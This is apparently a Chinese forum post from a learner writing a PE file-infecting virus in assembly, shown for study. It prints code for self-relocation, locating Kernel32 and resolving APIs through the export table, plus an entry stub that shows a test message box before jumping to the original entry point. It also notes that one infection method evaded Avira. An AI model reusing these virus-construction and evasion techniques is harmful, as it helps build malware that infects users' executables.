【文章标题】: PE文件病毒初探
【文章作者】: loongzyd
【下载地址】: 见附件
【使用工具】: RadAsm Peid
【参考】:《加密与解密》第三版,《计算机病毒分析与防治简明教程》
PE格式大致温习一下之后开始按照教材上的进度进入PE文件病毒的学习,程序实现了"添加节方式修改PE","加长最后一节修改PE","插入节方式修改PE"三种方式。感染之后只是在程序运行正常功能之前谈出一个对话框,在没有经过处理的情况下,被感染的.exe文件都被360报毒,小红伞对第三种方式感染的.exe文件没有报毒。
我们先来看看程序感染之前的情况: 第一种方式感染之后的情况:
第二种方式感染之后的情况: 第三种方式感染之后的情况:
程序的流程
感染之后运行情况:
重定位:
代码:
Call @F @@: pop ebx sub ebx,offset @B
查找Kernel32.dll基地址:
代码:
GetKernelBase proc _dwKernelRet:DWORD LOCAL @dwReturn:DWORD pushad mov @dwReturn,0 ;****************************************************** ;查找Kernel32.dll的基地址 ;****************************************************** mov edi,_dwKernelRet and edi,0ffff0000h .while TRUE .if word ptr [edi] == IMAGE_DOS_SIGNATURE mov esi,edi add esi,[esi+003ch] ;e_lfanew字段的偏移为3c .if word ptr [esi] == IMAGE_NT_SIGNATURE mov @dwReturn,edi .break .endif .endif _PageError: sub edi,01000h .break .if edi < 07000000h .endw popad mov eax,@dwReturn ret _GetKernelBase endp
查找API地址:
代码:
GetApi proc _hModule:DWORD,_lpszApi:DWORD local @dwReturn:DWORD LOCAL @dwStringLength:DWORD ;需要查找地址的API函数的长度 pushad mov @dwReturn,0 ;**************************************************** ;重定位 ;**************************************************** Call @F @@: pop ebx sub ebx,offset @B ;**************************************************** ;计算API字符串的长度(包含'\0') ;**************************************************** mov edi,_lpszApi mov ecx,-1 xor al,al cld ;设置方向标志DF=0,地址递增 repnz scasb mov ecx,edi sub ecx,_lpszApi mov @dwStringLength,ecx ;**************************************************** ;导出表 ;**************************************************** mov esi,_hModule assume esi:ptr IMAGE_DOS_HEADER add esi,[esi].e_lfanew assume esi:ptr IMAGE_NT_HEADERS mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress add esi,_hModule assume esi:ptr IMAGE_EXPORT_DIRECTORY ;**************************************************** ;寻找符合名称的导出函数名 ;**************************************************** mov ebx,[esi].AddressOfNames add ebx,_hModule xor edx,edx .repeat push esi mov edi,[ebx] ;获取一个指向导出函数的API函数名称的RVA add edi,_hModule ;加上基地址 mov esi,_lpszApi ;esi指向需要查找的API函数名称 mov ecx,@dwStringLength ;需要寻找的API函数的名称长度 repz cmpsb ;导出API函数名与需要查找的函数名进行逐位比较 .if ZERO? pop esi ;如果匹配 jmp @F .endif pop esi add ebx,4 ;指向下一个API函数名的RVA inc edx ;计数加一 .until edx >= [esi].NumberOfNames ;如果所有的函数名已经都进行过匹配,则说明需要查找的函数不在Kernel32.dll里面 jmp _Error @@: ;ebx指向了导出表中需要查找的函数名的地址 ;********************************************************** ;API名称索引 --> 序号索引 -->地址索引 ;********************************************************** sub ebx,_hModule ;减去Kernel32基地址 sub ebx,[esi].AddressOfNames ;减去AddressOfNames字段的RVA,得到的值为API名称索引*4(DWORD) shr ebx,1 ;除以2(AddressOfNameOrdinals的序号为WORD) add ebx,[esi].AddressOfNameOrdinals ;加上AddressOfNameOrdinals字段的RVA add ebx,_hModule ;加上Kernel32基地址 movzx eax, word ptr [ebx] ;得到该API的序号 shl eax,2 ;乘以4(地址为DWORD型) add eax,[esi].AddressOfFunctions ;加上AddressOfFunctions字段的RVA add eax,_hModule ;加上Kernel32的基地址,此时eax指向的就是需要查找的函数名的地址 mov eax,[eax] add eax,_hModule mov @dwReturn,eax _Error: assume esi:nothing popad mov eax,@dwReturn ret _GetApi endp
代码:
Call @F @@: pop ebx sub ebx,@B invoke _GetKernelBase,[esp] ;获取Kernel32.dll的基地址 .if !eax jmp _ToOldEntry .endif mov [ebx+DllKernel32],eax ;存放Kernel32.dll的基地址 lea eax,[ebx+szGetProcAddress] invoke _GetApi,[ebx+DllKernel32],eax ;获取GetProcAddress地址 .if !eax jmp _ToOldEntry .endif mov [ebx+_GetProcAddress],eax ;存放GetProcAddress函数的地址 lea eax,[ebx+szLoadLibrary] invoke [ebx+_GetProcAddress],[ebx+DllKernel32],eax ;获取LoadLibrary函数的地址 mov [ebx+_LoadLibrary],eax ;存放LoadLibrary函数的地址 lea eax,[ebx+szUser32] invoke [ebx+_LoadLibrary],eax ;加载User32.dll的基地址 mov [ebx+DllUser32],eax ;存放User32.dll的基地址 lea eax,[ebx+szMessageBox] invoke [ebx+_GetProcAddress],[ebx+DllUser32 ],eax ;获取MessageBox函数的地址 mov [ebx+_MessageBox],eax ;***************************************************************** ;测试所用,表示功能已经实现 ;***************************************************************** invoke [ebx+_MessageBox],NULL,addr [ebx+show_text],addr [ebx+show_title],MB_OK _ToOldEntry: db 0e9h ;0e9h是jmp xxxxxxxx的机器吗 ;_dwOldEntry=(原来的入口RVA地址-jmp xxx下条指令的RVA地址) _dwOldEntry dd 44332211h ;用来填入原来的入口地址 flags dd 11111111h
对PE 文件进行修改的代码请查看附加中完整的程序。
写的非常菜,希望大牛们不要笑话。
ps:
level1的密码:loong
level2的密码:xp
level3的密码:cuit